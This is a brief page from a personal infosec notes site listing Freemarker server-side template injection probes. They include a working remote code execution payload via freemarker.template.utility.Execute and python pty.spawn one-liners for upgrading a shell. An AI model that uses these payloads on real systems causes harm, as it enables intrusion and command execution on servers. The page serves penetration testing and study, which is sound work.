akde/infosec

Information security is ultimately about managing risk

Freemarker template engine

Apache Freemarker is a template engine, sometimes used with Java application.

Older Freemarker engines did not prevent HTML in strings. Therefore, try in a field something like this:

Ha<b>llo</b>

Show the value of a variable:

${var}

Execution to force an error message:

${'a'*5}

RCE:

${"freemarker.template.utility.Execute"?new()("whoami")}

You must be logged in to post a comment.

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';